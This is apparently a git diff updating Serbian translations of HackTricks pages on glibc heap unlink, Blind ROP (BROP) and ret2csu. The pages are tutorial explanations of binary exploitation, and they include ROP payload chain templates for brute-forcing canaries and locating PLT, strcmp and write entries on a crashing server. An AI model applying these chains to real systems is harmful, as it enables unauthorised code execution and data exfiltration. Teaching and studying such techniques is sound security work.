* [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)

View file

@ -1,21 +1,21 @@
# unlink
{% hint style="success" %}
Učite i vežbajte hakovanje AWS-a:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte hakovanje GCP-a: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Učite i vežbajte AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Podržite HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}
### Kod
### Code
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -63,30 +63,45 @@ p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
```
### Grafičko objašnjenje
### Grafičko Objašnjenje
Proverite ovaj sjajan grafički prikaz procesa unlinkovanja:
Pogledajte ovo odlično grafičko objašnjenje procesa unlink:
<figure><img src="../../../.gitbook/assets/image (3).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
### Bezbednosne provere
### Bezbednosne Provere
* Proverite da li je naznačena veličina bloka ista kao i prev\_size naznačena u sledećem bloku
* Takođe proverite da li važi `P->fd->bk == P` i `P->bk->fw == P`
* Ako blok nije mali, proverite da li važi `P->fd_nextsize->bk_nextsize == P` i `P->bk_nextsize->fd_nextsize == P`
* Proverite da li je naznačena veličina chunk-a ista kao prev\_size naznačen u sledećem chunk-u
* Takođe proverite da je `P->fd->bk == P` i `P->bk->fw == P`
* Ako chunk nije mali, proverite da je `P->fd_nextsize->bk_nextsize == P` i `P->bk_nextsize->fd_nextsize == P`
### Curenja
### Leaks
Unlinkovan blok ne čisti alocirane adrese, pa je moguće iscureti neke zanimljive adrese:
Neodvojeni chunk ne čisti alocirane adrese, tako da, imajući pristup da ga pročitate, moguće je otkriti neke zanimljive adrese:
Curenja iz libc-a:
Libc Leaks:
* Ako je P smešten na početku dvostruko povezane liste, `bk` će pokazivati na `malloc_state` u libc-u
* Ako je P smešten na kraju dvostruko povezane liste, `fd` će pokazivati na `malloc_state` u libc-u
* Kada dvostruko povezana lista sadrži samo jedan slobodan blok, P je u dvostruko povezanoj listi, i kako `fd` tako i `bk` mogu iscureti adresu unutar `malloc_state`.
* Ako je P smešten u glavi dvostruko povezanog spiska, `bk` će pokazivati na `malloc_state` u libc
* Ako je P smešten na kraju dvostruko povezanog spiska, `fd` će pokazivati na `malloc_state` u libc
* Kada dvostruko povezani spisak sadrži samo jedan slobodan chunk, P je u dvostruko povezanom spisku, i oba `fd` i `bk` mogu otkriti adresu unutar `malloc_state`.
Curenja iz heap-a:
Heap leaks:
* Ako je P smešten na početku dvostruko povezane liste, `fd` će pokazivati na dostupan blok u heap-u
* Ako je P smešten na kraju dvostruko povezane liste, `bk` će pokazivati na dostupan blok u heap-u
* Ako je P u dvostruko povezanoj listi, kako `fd` tako i `bk` će pokazivati na dostupan blok u heap-u
* Ako je P smešten u glavi dvostruko povezanog spiska, `fd` će pokazivati na dostupni chunk u heap-u
* Ako je P smešten na kraju dvostruko povezanog spiska, `bk` će pokazivati na dostupni chunk u heap-u
* Ako je P u dvostruko povezanom spisku, oba `fd` i `bk` će pokazivati na dostupni chunk u heap-u
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,131 +1,132 @@
# BROP - Slepa povratno orijentisana programiranje
# BROP - Blind Return Oriented Programming
{% hint style="success" %}
Naučite i vežbajte hakovanje AWS-a:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Obuka AWS Crveni Tim Stručnjak (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Naučite i vežbajte hakovanje GCP-a: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Obuka GCP Crveni Tim Stručnjak (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Podržite HackTricks</summary>
<summary>Support HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Osnovne informacije
Cilj ovog napada je **zloupotreba ROP-a putem prelivanja bafera bez ikakvih informacija o ranjivom binarnom fajlu**.\
Cilj ovog napada je da se **zloupotrebi ROP putem prelivanja bafera bez ikakvih informacija o ranjivom binarnom fajlu**.\
Ovaj napad se zasniva na sledećem scenariju:
* Ranjivost steka i poznavanje kako je pokrenuti.
* Server aplikacija koja se ponovo pokreće nakon pada.
* Ranjivost na steku i znanje o tome kako je aktivirati.
* Serverska aplikacija koja se ponovo pokreće nakon pada.
## Napad
### **1. Pronalaženje ranjivog ofseta** slanjem još jednog karaktera dok se ne detektuje kvar servera
### **1. Pronađi ranjivi offset** slanjem jednog dodatnog karaktera dok se ne otkrije kvar servera
### **2. Bruteforsiranje kanara** da bi se otkrio
### **2. Brute-force canary** da bi se otkrio
### **3. Bruteforsiranje smeštenih RBP i RIP** adresa na steku da bi se otkrile
### **3. Brute-force sačuvanih RBP i RIP** adresa na steku da bi se otkrile
Više informacija o ovim procesima možete pronaći [ovde (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) i [ovde (BF Adrese na Steku)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
Možete pronaći više informacija o ovim procesima [ovde (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) i [ovde (BF Adrese na steku)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
### **4. Pronalaženje stop gedžeta**
### **4. Pronađi stop gadget**
Ovaj gedžet omogućava potvrdu da je nešto zanimljivo izvršeno pomoću ROP gedžeta jer izvršenje nije dovelo do pada. Obično, ovaj gedžet će biti nešto što **zaustavlja izvršenje** i biće pozicioniran na kraju ROP lanca prilikom traženja ROP gedžeta kako bi se potvrdilo da je određeni ROP gedžet izvršen.
Ovaj gadget u suštini omogućava da se potvrdi da je nešto zanimljivo izvršeno putem ROP gadgeta jer izvršenje nije izazvalo pad. Obično, ovaj gadget će biti nešto što **zaustavlja izvršenje** i pozicioniran je na kraju ROP lanca kada se traže ROP gadgeti da bi se potvrdilo da je specifičan ROP gadget izvršen.
### **5. Pronalaženje BROP gedžeta**
### **5. Pronađi BROP gadget**
Ova tehnika koristi [**ret2csu**](ret2csu.md) gedžet. To je zato što ako pristupite ovom gedžetu usred nekih instrukcija, dobijate gedžete za kontrolu **`rsi`** i **`rdi`**:
Ova tehnika koristi [**ret2csu**](ret2csu.md) gadget. I to je zato što ako pristupite ovom gadgetu usred nekih instrukcija dobijate gadgete za kontrolu **`rsi`** i **`rdi`**:
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
Ovo bi bili gedžeti:
Ovo bi bili gadgeti:
* `pop rsi; pop r15; ret`
* `pop rdi; ret`
Primetite kako je sa ovim gedžetima moguće **kontrolisati 2 argumenta** funkcije koja se poziva.
Primetite kako je sa tim gadgetima moguće **kontrolisati 2 argumenta** funkcije koju pozivate.
Takođe, primetite da ret2csu gedžet ima **vrlo jedinstveni potpis** jer će skidati 6 registara sa steka. Dakle, slanjem lanca kao:
Takođe, primetite da ret2csu gadget ima **veoma jedinstvenu potpis** jer će izbacivati 6 registara sa steka. Dakle, slanjem lanca poput:
`'A' * ofset + kanaric + rbp + ADRESA + 0xdead * 6 + STOP`
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
Ako se **STOP izvrši**, to u osnovi znači da je korišćena adresa koja skida 6 registara sa steka. Ili da je korišćena adresa takođe STOP adresa.
Ako je **STOP izvršen**, to u suštini znači da je korišćena **adresa koja izbacuje 6 registara** sa steka. Ili da je korišćena adresa koja je takođe STOP adresa.
Kako bi se **uklonila ova poslednja opcija**, izvršava se novi lanac kao što je sledeći i ne sme izvršiti STOP gedžet kako bi se potvrdilo da je prethodni zaista skidao 6 registara:
Da bi se **uklonila ova poslednja opcija**, izvršava se novi lanac poput sledećeg i ne sme izvršiti STOP gadget da bi se potvrdilo da je prethodni izbacivao 6 registara:
`'A' * ofset + kanaric + rbp + ADRESA`
`'A' * offset + canary + rbp + ADDR`
Znajući adresu ret2csu gedžeta, moguće je **zaključiti adresu gedžeta za kontrolu `rsi` i `rdi`**.
Poznavajući adresu ret2csu gadgeta, moguće je **izvesti adresu gadgeta za kontrolu `rsi` i `rdi`**.
### 6. Pronalaženje PLT-a
### 6. Pronađi PLT
PLT tabela se može pretraživati od 0x400000 ili od **procurle RIP adrese** sa steka (ako se koristi **PIE**). **Unosi** tabele su **razdvojeni sa 16B** (0x10B), i kada se pozove jedna funkcija, server ne pada čak i ako argumenti nisu ispravni. Takođe, provera adrese unosa u **PLT + 6B takođe ne dovodi do pada** jer je to prvi kod koji se izvršava.
PLT tabela se može pretraživati od 0x400000 ili od **otkrivene RIP adrese** sa steka (ako se koristi **PIE**). **Unosi** tabele su **razdvojeni po 16B** (0x10B), i kada se pozove jedna funkcija server ne pada čak i ako argumenti nisu ispravni. Takođe, provera adrese jednog unosa u **PLT + 6B takođe ne izaziva pad** jer je to prvi kod koji se izvršava.
Stoga, moguće je pronaći PLT tabelu proveravajući sledeće ponašanje:
Stoga, moguće je pronaći PLT tabelu proverom sledećih ponašanja:
* `'A' * ofset + kanaric + rbp + ADRESA + STOP` -> nema pada
* `'A' * ofset + kanaric + rbp + (ADRESA + 0x6) + STOP` -> nema pada
* `'A' * ofset + kanaric + rbp + (ADRESA + 0x10) + STOP` -> nema pada
* `'A' * offset + canary + rbp + ADDR + STOP` -> nema pada
* `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> nema pada
* `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> nema pada
### 7. Pronalaženje strcmp funkcije
### 7. Pronalazak strcmp
Funkcija **`strcmp`** postavlja registar **`rdx`** na dužinu upoređivanog stringa. Imajte na umu da je **`rdx`** treći argument i potrebno je da bude **veći od 0** kako bi se kasnije koristio `write` za procurivanje programa.
Funkcija **`strcmp`** postavlja registar **`rdx`** na dužinu stringa koji se upoređuje. Imajte na umu da je **`rdx`** **treći argument** i potrebno je da bude **veći od 0** kako bismo kasnije koristili `write` da otkrijemo program.
Moguće je pronaći lokaciju **`strcmp`** u PLT-u na osnovu njegovog ponašanja koristeći činjenicu da sada možemo kontrolisati prva 2 argumenta funkcija:
Moguće je pronaći lokaciju **`strcmp`** u PLT-u na osnovu njenog ponašanja koristeći činjenicu da sada možemo kontrolisati prva 2 argumenta funkcija:
* strcmp(\<nečitljiva adresa>, \<nečitljiva adresa>) -> pad
* strcmp(\<nečitljiva adresa>, \<čitljiva adresa>) -> pad
* strcmp(\<čitljiva adresa>, \<nečitljiva adresa>) -> pad
* strcmp(\<čitljiva adresa>, \<čitljiva adresa>) -> nema pada
* strcmp(\<non read addr>, \<non read addr>) -> pad
* strcmp(\<non read addr>, \<read addr>) -> pad
* strcmp(\<read addr>, \<non read addr>) -> pad
* strcmp(\<read addr>, \<read addr>) -> nema pada
Ovo je moguće proveriti pozivanjem svakog unosa u PLT tabeli ili korišćenjem **PLT spore putanje** koja se u osnovi sastoji od **pozivanja unosa u PLT tabeli + 0xb** (koji poziva **`dlresolve`**) praćenog na steku **brojem unosa koji želite ispitati** (počevši od nule) kako bi se skenirali svi unosi PLT tabele:
Moguće je proveriti ovo pozivajući svaki unos PLT tabele ili koristeći **PLT spor put** koji se u suštini sastoji od **pozivanja unosa u PLT tabeli + 0xb** (što poziva **`dlresolve`**) praćeno na steku sa **brojem unosa koji se želi proveriti** (počinjajući od nule) da bi se skenirali svi PLT unosi od prvog:
* strcmp(\<nečitljiva adresa>, \<čitljiva adresa>) -> pad
* `b'A' * ofset + kanaric + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(UNOS) + STOP` -> Dovesti će do pada
* strcmp(\<čitljiva adresa>, \<nečitljiva adresa>) -> pad
* `b'A' * ofset + kanaric + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(UNOS) + STOP`&#x20;
* strcmp(\<čitljiva adresa>, \<čitljiva adresa>) -> nema pada
* `b'A' * ofset + kanaric + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(UNOS) + STOP`&#x20;
* strcmp(\<non read addr>, \<read addr>) -> pad
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Izazvaće pad
* strcmp(\<read addr>, \<non read addr>) -> pad
* `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
* strcmp(\<read addr>, \<read addr>) -> nema pada
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
Zapamtite da:
* BROP + 0x7 pokazuje na **`pop RSI; pop R15; ret;`**
* BROP + 0x9 pokazuje na **`pop RDI; ret;`**
* PLT + 0xb pokazuje na poziv **dl\_resolve**.
* BROP + 0x7 ukazuje na **`pop RSI; pop R15; ret;`**
* BROP + 0x9 ukazuje na **`pop RDI; ret;`**
* PLT + 0xb ukazuje na poziv **dl\_resolve**.
Nakon što je pronađen `strcmp`, moguće je postaviti **`rdx`** na vrednost veću od 0.
Nakon što se pronađe `strcmp`, moguće je postaviti **`rdx`** na vrednost veću od 0.
{% hint style="success" %}
Imajte na umu da će obično `rdx` već imati vrednost veću od 0, pa ovaj korak možda nije potreban.
Imajte na umu da obično `rdx` već sadrži vrednost veću od 0, tako da ovaj korak možda nije neophodan.
{% endhint %}
### 8. Pronalaženje Write ili ekvivalenta
Konačno, potreban je uređaj koji eksfiltrira podatke kako bi se eksfiltrirao binarni fajl. U ovom trenutku je moguće **kontrolisati 2 argumenta i postaviti `rdx` veći od 0**.
### 8. Pronalazak Write ili ekvivalentnog
Postoje 3 česte funkcije koje bi mogle biti zloupotrebljene za ovo:
Na kraju, potreban je gadget koji eksfiltrira podatke kako bi se eksfiltrirao binarni fajl. I u ovom trenutku moguće je **kontrolisati 2 argumenta i postaviti `rdx` veći od 0.**
Postoje 3 uobičajene funkcije koje bi se mogle zloupotrebiti za ovo:
* `puts(data)`
* `dprintf(fd, data)`
* `write(fd, data, len(data)`
Međutim, originalni rad pominje samo **`write`**, pa da pričamo o tome:
Međutim, originalni rad pominje samo **`write`**, pa hajde da pričamo o tome:
Trenutni problem je što ne znamo **gde se nalazi funkcija write unutar PLT-a** i ne znamo **broj fd-a na koji treba poslati podatke ka našem socket-u**.
Trenutni problem je što ne znamo **gde se funkcija write nalazi unutar PLT-a** i ne znamo **fd broj da pošaljemo podatke našem soketu**.
Međutim, znamo **gde se nalazi tabela PLT-a** i moguće je pronaći write na osnovu njegovog **ponašanja**. I možemo kreirati **više veza** sa serverom i koristiti **visok FD** u nadi da se poklapa sa nekom od naših veza.
Međutim, znamo **gde se nalazi PLT tabela** i moguće je pronaći write na osnovu njenog **ponašanja**. I možemo stvoriti **nekoliko veza** sa serverom i koristiti **visok FD** nadajući se da će se poklopiti sa nekim od naših veza.
Potpisi ponašanja za pronalaženje ovih funkcija:
Ponašanja potpisa za pronalaženje tih funkcija:
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Ako se podaci ispišu, onda je pronađen puts
* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Ako se podaci ispišu, onda je pronađen dprintf
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Ako se podaci ispišu, onda je pronađen write
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Ako se podaci ispisuju, onda je pronađen puts
* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Ako se podaci ispisuju, onda je pronađen dprintf
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Ako se podaci ispisuju, onda je pronađen write
## Automatsko iskorišćavanje
## Automatska eksploatacija
* [https://github.com/Hakumarachi/Bropper](https://github.com/Hakumarachi/Bropper)
@ -133,3 +134,18 @@ Potpisi ponašanja za pronalaženje ovih funkcija:
* Originalni rad: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,16 +1,16 @@
# Ret2csu
{% hint style="success" %}
Učite i vežbajte hakovanje AWS-a:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Obuka AWS Crveni Tim Stručnjak (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte hakovanje GCP-a: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Obuka GCP Crveni Tim Stručnjak (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Podržite HackTricks</summary>
<summary>Support HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
@ -19,15 +19,15 @@ Učite i vežbajte hakovanje GCP-a: <img src="/.gitbook/assets/grte.png" alt=""
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Osnovne informacije
**ret2csu** je hakovanje tehnika koja se koristi kada pokušavate preuzeti kontrolu nad programom, ali ne možete pronaći **gadgete** koje obično koristite za manipulisanje ponašanjem programa.&#x20;
**ret2csu** je tehnika hakovanja koja se koristi kada pokušavate da preuzmete kontrolu nad programom, ali ne možete pronaći **gadgets** koje obično koristite za manipulaciju ponašanjem programa.
Kada program koristi određene biblioteke (poput libc), ima neke ugrađene funkcije za upravljanje načinom na koji različiti delovi programa komuniciraju međusobno. Među ovim funkcijama postoje neke skrivene dragocenosti koje mogu delovati kao naši nedostajući gadgeti, posebno jedna nazvana `__libc_csu_init`.
Kada program koristi određene biblioteke (kao što je libc), ima neke ugrađene funkcije za upravljanje načinom na koji različiti delovi programa komuniciraju jedni s drugima. Među tim funkcijama su neki skriveni dragulji koji mogu delovati kao naši nedostajući gadgets, posebno jedan nazvan `__libc_csu_init`.
### Čarobni Gadgeti u \_\_libc\_csu\_init
### Čarobni Gadgets u \_\_libc\_csu\_init
U **`__libc_csu_init`**, postoje dve sekvence instrukcija (gadgeti) koje treba istaći:
U **`__libc_csu_init`**, postoje dve sekvence instrukcija (gadgets) koje treba istaknuti:
1. Prva sekvencija nam omogućava postavljanje vrednosti u nekoliko registara (rbx, rbp, r12, r13, r14, r15). To su poput slotova gde možemo čuvati brojeve ili adrese koje želimo koristiti kasnije.
1. Prva sekvenca nam omogućava da postavimo vrednosti u nekoliko registara (rbx, rbp, r12, r13, r14, r15). Ovo su kao slotovi gde možemo da čuvamo brojeve ili adrese koje želimo da koristimo kasnije.
```armasm
pop rbx;
pop rbp;
@ -37,18 +37,18 @@ pop r14;
pop r15;
ret;
```
Ova sprava nam omogućava da kontrolišemo ove registre tako što ćemo izbaciti vrednosti sa steka u njih.
Ovaj uređaj nam omogućava da kontrolišemo ove registre tako što izvlačimo vrednosti sa steka u njih.
2. Drugi niz koristi vrednosti koje smo postavili da uradi nekoliko stvari:
* **Premesti određene vrednosti u druge registre**, pripremajući ih za korišćenje kao parametre u funkcijama.
* **Izvrši poziv na lokaciju** određenu sabiranjem vrednosti u r15 i rbx, zatim množenjem rbx sa 8.
2. Druga sekvenca koristi vrednosti koje smo postavili da uradi nekoliko stvari:
* **Premesti specifične vrednosti u druge registre**, pripremajući ih za korišćenje kao parametre u funkcijama.
* **Izvrši poziv na lokaciju** određenu sabiranjem vrednosti u r15 i rbx, a zatim množenjem rbx sa 8.
```armasm
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
```
2. Možda ne znate nijednu adresu na koju biste mogli pisati i **potreban vam je `ret` instrukcija**. Imajte na umu da će drugi uređaj takođe **završiti sa `ret`**, ali moraćete ispuniti neke **uslove** kako biste došli do njega:
2. Možda ne znate nijednu adresu na koju biste mogli da pišete i **potrebna vam je `ret` instrukcija**. Imajte na umu da će drugi gadget takođe **završiti sa `ret`**, ali ćete morati da ispunite neke **uslove** da biste do njega došli:
```armasm
mov rdx, r15;
mov rsi, r14;
@ -62,8 +62,8 @@ ret
```
Uslovi će biti:
* `[r12 + rbx*8]` mora pokazivati na adresu na kojoj se nalazi pozivna funkcija (ako nemate ideju i nema pie, možete jednostavno koristiti `_init` funkciju):
* Ako je \_init na adresi `0x400560`, koristite GEF da pretražite pokazivač u memoriji koji pokazuje na nju i postavite `[r12 + rbx*8]` da bude adresa sa pokazivačem na \_init:
* `[r12 + rbx*8]` mora da pokazuje na adresu koja čuva pozivnu funkciju (ako nemate ideju i nema pie, možete jednostavno koristiti `_init` funkciju):
* Ako je \_init na `0x400560`, koristite GEF da pretražite pokazivač u memoriji ka njoj i postavite `[r12 + rbx*8]` na adresu sa pokazivačem ka \_init:
```bash
